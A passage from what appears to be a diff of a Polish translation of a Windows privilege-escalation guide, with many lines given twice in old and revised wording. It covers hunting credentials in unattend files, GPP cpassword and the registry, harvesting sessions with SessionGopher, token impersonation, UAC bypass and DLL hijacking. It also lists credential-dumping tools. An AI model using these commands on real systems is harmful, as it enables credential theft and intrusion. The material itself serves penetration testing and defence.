Jeśli usługa `ssh-agent` nie jest uruchomiona i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom:
```bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
@ -932,6 +932,8 @@ C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
Możesz również wyszukiwać te pliki za pomocą **metasploit**: _post/windows/gather/enum_unattend_
Przykładowa zawartość:
```xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
@ -978,7 +980,7 @@ Szukaj pliku o nazwie **SiteList.xml**
Funkcja, która wcześniej była dostępna, pozwalała na wdrażanie niestandardowych lokalnych kont administratorów na grupie maszyn za pomocą Preferencji Zasad Grupy (GPP). Jednak ta metoda miała znaczące luki w zabezpieczeniach. Po pierwsze, Obiekty Zasad Grupy (GPO), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, szyfrowane za pomocą AES256 przy użyciu publicznie udokumentowanego domyślnego klucza, mogły być odszyfrowane przez każdego uwierzytelnionego użytkownika. Stanowiło to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie pamiętane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku, funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co pomaga w identyfikacji i usuwaniu tej luki w zabezpieczeniach.
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie pamiętane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku, funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co ułatwia identyfikację i usunięcie tej luki w zabezpieczeniach.
Szukaj w `C:\ProgramData\Microsoft\Group Policy\history` lub w _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (przed W Vista)_ tych plików:
@ -1209,7 +1211,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatycznie wyszukuje wszystkie pliki zawierające hasła wymienione na tej stronie.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) to kolejne świetne narzędzie do ekstrakcji haseł z systemu.
Narzędzie [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) wyszukuje **sesje**, **nazwy użytkowników** i **hasła** różnych narzędzi, które zapisują te dane w postaci czystego tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP).
Narzędzie [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) wyszukuje **sesje**, **nazwy użytkowników** i **hasła** różnych narzędzi, które zapisują te dane w postaci czystego tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
```bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
@ -1299,7 +1301,7 @@ Masz wszystkie niezbędne pliki i informacje w następującym repozytorium GitHu
https://github.com/jas502n/CVE-2019-1388
## Z poziomu Medium Administratora do High Integrity Level / Ominięcie UAC
## Z poziomu Medium Administratora do poziomu High Integrity / Ominięcie UAC
Przeczytaj to, aby **dowiedzieć się o poziomach integralności**:
@ -1333,20 +1335,20 @@ Z procesu o wysokiej integralności możesz spróbować **włączyć wpisy rejes
### Z SeDebug + SeImpersonate do pełnych uprawnień tokena
Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz to w już istniejącym procesie o wysokiej integralności), będziesz mógł **otworzyć prawie każdy proces** (niechronione procesy) z uprawnieniami SeDebug, **skopiować token** procesu i stworzyć **dowolny proces z tym tokenem**.\
Używając tej techniki zazwyczaj **wybiera się dowolny proces działający jako SYSTEM ze wszystkimi uprawnieniami tokena** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\
Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz to w już istniejącym procesie o wysokiej integralności), będziesz w stanie **otworzyć prawie każdy proces** (niechronione procesy) z uprawnieniami SeDebug, **skopiować token** procesu i stworzyć **dowolny proces z tym tokenem**.\
Używając tej techniki zazwyczaj **wybiera się dowolny proces działający jako SYSTEM z wszystkimi uprawnieniami tokena** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\
**Możesz znaleźć** [**przykład kodu wykonującego proponowaną technikę tutaj**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu rury, a następnie utworzeniu/wykorzystaniu usługi do pisania na tej rurze**. Następnie **serwer**, który utworzył rurę używając uprawnienia **`SeImpersonate`**, będzie mógł **imitować token** klienta rury (usługi), uzyskując uprawnienia SYSTEM.\
Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu rury, a następnie utworzeniu/wykorzystaniu usługi do pisania na tej rurze**. Następnie **serwer**, który utworzył rurę używając uprawnienia **`SeImpersonate`**, będzie w stanie **podrobić token** klienta rury (usługę) uzyskując uprawnienia SYSTEM.\
Jeśli chcesz [**dowiedzieć się więcej o nazwanych rurach, powinieneś to przeczytać**](#named-pipe-client-impersonation).\
Jeśli chcesz przeczytać przykład [**jak przejść z wysokiej integralności do Systemu używając nazwanych rur, powinieneś to przeczytać**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking
Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, a co więcej, jest **dużo łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia do zapisu** w folderach używanych do ładowania dll.\
**Możesz** [**dowiedzieć się więcej o Dll hijacking tutaj**](dll-hijacking/)**.**
Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz w stanie wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny w tego rodzaju eskalacji uprawnień, a co więcej, jest **znacznie łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia do zapisu** w folderach używanych do ładowania dll.\
**Możesz** [**dowiedzieć się więcej o Dll hijacking tutaj**](dll-hijacking/index.html)**.**
### **Z Administratora lub Usługi Sieciowej do Systemu**
@ -1372,8 +1374,8 @@ https://github.com/sailay1996/RpcSsImpersonator
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Sprawdź błędne konfiguracje i wrażliwe pliki (**[**sprawdź tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Wykryto.**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- Sprawdź niektóre możliwe błędne konfiguracje i zbierz informacje (**[**sprawdź tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Sprawdź błędne konfiguracje**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Ekstrahuje informacje o zapisanych sesjach PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough w lokalnym.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Ekstrahuje dane uwierzytelniające z Menedżera poświadczeń. Wykryto.**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Wyciąga informacje o zapisanych sesjach PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough w lokalnym.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Wyciąga dane uwierzytelniające z Menedżera poświadczeń. Wykryto.**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rozprzestrzenia zebrane hasła w domenie**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh to narzędzie do spoofingu ADIDNS/LLMNR/mDNS/NBNS i man-in-the-middle w PowerShell.**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Podstawowa enumeracja privesc w Windows**\
@ -1384,10 +1386,10 @@ https://github.com/sailay1996/RpcSsImpersonator
[**Watson**](https://github.com/rasta-mouse/Watson) -- Szukaj znanych luk w privesc (wymaga kompilacji przy użyciu VisualStudio) ([**wstępnie skompilowane**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeruje hosta w poszukiwaniu błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga kompilacji) **(**[**wstępnie skompilowane**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Ekstrahuje dane uwierzytelniające z wielu programów (wstępnie skompilowane exe w github)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Wyciąga dane uwierzytelniające z wielu programów (wstępnie skompilowane exe w github)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp do C#**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Sprawdź błędne konfiguracje (wykonywalny plik wstępnie skompilowany w github). Nie zalecane. Nie działa dobrze w Win10.\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdź możliwe błędne konfiguracje (exe z pythona). Nie zalecane. Nie działa dobrze w Win10.
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdź możliwe błędne konfiguracje (exe z Pythona). Nie zalecane. Nie działa dobrze w Win10.
**Bat**